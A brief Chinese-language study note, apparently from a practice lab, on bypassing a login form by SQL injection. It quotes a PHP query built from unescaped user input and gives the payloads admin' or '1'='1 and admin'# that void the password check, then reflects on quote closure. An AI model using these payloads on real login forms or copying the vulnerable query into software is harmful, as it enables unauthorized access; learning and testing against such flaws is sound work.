一.环境
关键源码: $qry = "SELECT * FROM `users` WHERE user='$user' AND password='$pass';";
用户名是admin;密码是password
二.绕过密码登录
1.构造admin' or '1' ='1(当然是用admin'# 用#号注释掉后面的语句也可以)
传入后变成 select * from 'users' where user= 'admin' or '1' ='1' and password ='$pass'
这样密码的验证就无效了!
自己测试的图:
三.一些总结
以前一直不明白为什么有时候用 ' 号可以有时候用 ' 号不可以,今天发现关键就在于 ' 号是否闭合了语句,未闭合就会导致 xxx 1=1 '' and xxxxx 这种语法错误